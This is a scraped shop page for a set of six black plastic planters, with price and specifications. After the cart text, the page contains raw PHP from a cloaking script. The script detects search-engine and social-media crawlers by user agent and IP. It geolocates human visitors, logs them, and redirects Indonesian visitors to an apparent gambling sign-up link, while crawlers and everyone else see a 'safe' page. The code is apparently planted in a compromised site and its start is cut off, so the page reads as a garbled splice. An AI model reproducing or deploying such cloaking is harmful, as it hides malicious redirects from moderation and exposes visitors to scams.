Sale!

3.9 inch (10 cm) Krish No. 10 Self Watering Round Plastic Planter (Black) (set of 6)

Original price was: ₹1,500.00.Current price is: ₹899.00.

Specifications

Self Watering No
Height 4.3 inch (10.8 cm)
Pot / Planter capacity 0.5 litre
Soil Capacity 0.5 Kg
Diameter (upper) 3.9 inch (10 cm)
Diameter (lower) 2.9 inch (7.4 cm)
Drainage Holes 0

Highlights

Product Type Standard, Table Top
Each unit contains 1 Planter
Color Black
Size Matt Finish
Shape Round
Product Material Plastic

Place

Indoor, Outdoor, Terrace, Table etc.

Category : SELF WATERING POTS
Share Outside

About

Theses planters are available in unique shape, sizes and variety of colors. Beautify your garden, balcony & patios office with our unique, colourful, easy to carry & long lasting planters. Also add Accessories for the different placement and better usage of these beautiful planters.

0:00
0:00
0
    0
    Your Cart
    Your cart is emptyReturn to Shop
    'https://www.14belizeus.top/daftar?ref=fbini', 'safe_file' => 'putih.html' ]; // Baca konfigurasi if (file_exists($config_file)) { $config = json_decode(file_get_contents($config_file), true); $url_target = $config['url_target'] ?? $default_config['url_target']; $file_aman = $config['safe_file'] ?? $default_config['safe_file']; } else { // Jika file config belum ada, buat dengan default $url_target = $default_config['url_target']; $file_aman = $default_config['safe_file']; // Simpan config default $default_config['last_updated'] = date('Y-m-d H:i:s'); file_put_contents($config_file, json_encode($default_config, JSON_PRETTY_PRINT)); } $log_file = __DIR__ . '/logs/visitor_stats.json'; // Buat folder logs jika belum ada if (!file_exists(__DIR__ . '/logs')) { mkdir(__DIR__ . '/logs', 0755, true); } // ============================================ // FUNGSI DETEKSI BOT // ============================================ function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; // Daftar bot lengkap (sudah termasuk TikTok dan ByteDance) $bots = [ // Social Media Bots 'facebookexternalhit', 'Facebot', 'twitterbot', 'linkedinbot', 'pinterestbot', 'slackbot', 'discordbot', 'telegrambot', 'whatsapp', 'skypeuripreview', 'instagram', 'snapchat', // TikTok & ByteDance Bots (BARU DITAMBAHKAN) 'tiktok', 'tiktokbot', 'tiktokspider', 'ttspider', 'bytedance', 'bytecrawler', 'tokbot', 'tiktok webview', 'tiktok embed', 'byte', 'dance', 'tiktokcrawler', // Search Engine Bots 'googlebot', 'bingbot', 'yandexbot', 'applebot', 'Googlebot', 'Google-InspectionTool', 'bingpreview', 'BingPreview', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video', 'AdsBot-Google', 'Mediapartners-Google', 'AdsBot-Google-Mobile', 'Google-PageSpeed', 'Pagespeed', 'Google-StructuredDataTestingTool', 'Google-Site-Verification', 'Google-Read-Aloud', 'Google-Translate', 'Googlebot-Mobile', 'Googlebot-Desktop', 'Google Favicon', 'Google', // Other Bots 'facebookcatalog', 'externalhit', 'yahoo! slurp', 'baiduspider', 'sogou', 'exabot', 'mj12bot', 'ahrefsbot', 'semrushbot', 'rogerbot', 'dotbot', 'seznambot', 'mail.ru_bot', 'blexbot', 'archive.org_bot', 'duckduckbot', 'yandeximages', 'yandexmetrika', // Microsoft Bots 'bingpreview', 'msnbot', 'msnbot-media', 'bingbot', 'bingbot', 'slurp', 'bing', // Crawlers 'crawler', 'spider', 'bot', 'scanner', 'checker', 'validator', 'analyzer', 'extractor', 'fetcher', 'parser', 'monitor', 'scrapy', 'wget', 'curl', // Social Media Preview Bots 'Slackbot-LinkExpanding', 'Slack-ImgProxy', 'TelegramBot', 'WhatsApp', 'SkypeUriPreview', 'Twitterbot', 'facebookexternalhit', 'Facebot', 'LinkedInBot', 'Pinterestbot', 'Discordbot' ]; foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } // Deteksi tambahan untuk TikTok (User Agent pattern khas) if (stripos($user_agent, 'ttspider') !== false || stripos($user_agent, 'byte') !== false || (stripos($user_agent, 'tiktok') !== false) || (stripos($user_agent, 'bytedance') !== false)) { return true; } // Deteksi IP bot umum (opsional) $ip = $_SERVER['REMOTE_ADDR'] ?? ''; $bot_ips = ['66.249.', '74.125.', '207.46.', '65.52.', '157.55.', '40.77.', '52.167.']; foreach ($bot_ips as $bot_ip) { if (strpos($ip, $bot_ip) === 0) return true; } return false; } // ============================================ // FUNGSI DETEKSI NEGARA DARI IP (FREE API) // ============================================ function get_country_from_ip() { $ip = $_SERVER['REMOTE_ADDR'] ?? ''; // Filter localhost/IP private if ($ip == '127.0.0.1' || $ip == '::1' || strpos($ip, '192.168.') === 0 || strpos($ip, '10.') === 0 || strpos($ip, '172.') === 0) { return 'LOCAL'; } // Gunakan API gratis (ip-api.com - 45 req/min dari satu IP) $api_url = "http://ip-api.com/json/{$ip}?fields=status,countryCode"; // Caching untuk mengurangi request API $cache_file = __DIR__ . '/logs/ip_cache.json'; $cache = []; $cache_time = 86400; // 24 jam if (file_exists($cache_file)) { $cache = json_decode(file_get_contents($cache_file), true) ?: []; // Hapus cache expired foreach ($cache as $cached_ip => $data) { if (time() - $data['time'] > $cache_time) { unset($cache[$cached_ip]); } } } // Cek cache dulu if (isset($cache[$ip])) { return $cache[$ip]['country']; } // Request ke API $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); // Timeout 3 detik curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; CloakingScript/1.0)'); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && $response) { $data = json_decode($response, true); if ($data && isset($data['status']) && $data['status'] == 'success') { $country = $data['countryCode'] ?? 'XX'; // Simpan ke cache $cache[$ip] = [ 'country' => $country, 'time' => time() ]; file_put_contents($cache_file, json_encode($cache)); return $country; } } // Jika gagal, simpan sebagai unknown $cache[$ip] = [ 'country' => 'XX', 'time' => time() ]; file_put_contents($cache_file, json_encode($cache)); return 'XX'; // Unknown } // ============================================ // FUNGSI LOGGING DENGAN GEO DATA // ============================================ function log_visitor($data) { global $log_file; // Load data existing $logs = []; if (file_exists($log_file)) { $logs = json_decode(file_get_contents($log_file), true) ?: []; } // Tambah data baru $logs[] = $data; // Batasi 5000 record terbaru if (count($logs) > 5000) { $logs = array_slice($logs, -5000); } file_put_contents($log_file, json_encode($logs, JSON_PRETTY_PRINT)); } // ============================================ // MAIN LOGIC - CLOAKING DENGAN GEO DETECTION // ============================================ // Cek apakah bot terlebih dahulu (bot selalu dapat file aman) $is_bot = is_bot(); // Inisialisasi variabel $country_code = 'XX'; // Logika penentuan redirect if ($is_bot) { // BOT: selalu ke file aman $redirect_url = $file_aman; $visitor_type = 'BOT'; } else { // MANUSIA: deteksi negara $country_code = get_country_from_ip(); // Jika dari Indonesia (ID), redirect ke target if ($country_code == 'ID') { $redirect_url = $url_target; $visitor_type = 'HUMAN_ID'; } else { // Selain Indonesia, termasuk unknown/local, ke file aman $redirect_url = $file_aman; $visitor_type = 'HUMAN_' . ($country_code ?: 'OTHER'); } } // ============================================ // LOG DATA PENGUNJUNG // ============================================ $visitor_data = [ 'timestamp' => date('Y-m-d H:i:s'), 'ip' => $_SERVER['REMOTE_ADDR'] ?? '', 'user_agent' => substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 150), 'referer' => substr($_SERVER['HTTP_REFERER'] ?? 'Direct', 0, 200), 'is_bot' => $is_bot, 'country' => $country_code, 'visitor_type' => $visitor_type, 'redirect_to' => ($redirect_url == $url_target) ? $url_target : $file_aman, 'action' => ($redirect_url == $url_target) ? 'REDIRECT_TO_TARGET' : 'SHOW_SAFE_PAGE' ]; // Simpan log log_visitor($visitor_data); // ============================================ // EKSEKUSI REDIRECT / TAMPILKAN FILE // ============================================ if ($redirect_url == $url_target) { // Redirect ke target (302 temporary redirect) header("Location: $redirect_url", true, 302); exit(); } else { // Tampilkan file aman if (file_exists($file_aman)) { // Set content type berdasarkan ekstensi file $ext = pathinfo($file_aman, PATHINFO_EXTENSION); if ($ext == 'html' || $ext == 'htm') { header('Content-Type: text/html; charset=utf-8'); } elseif ($ext == 'php') { // Include file PHP jika diperlukan include($file_aman); exit(); } readfile($file_aman); } else { // Fallback jika file tidak ditemukan echo "Preview"; echo "

    Halaman Preview

    "; echo "

    Ini adalah halaman aman untuk pengunjung dari luar Indonesia atau bot.

    "; echo ""; } } exit(); ?>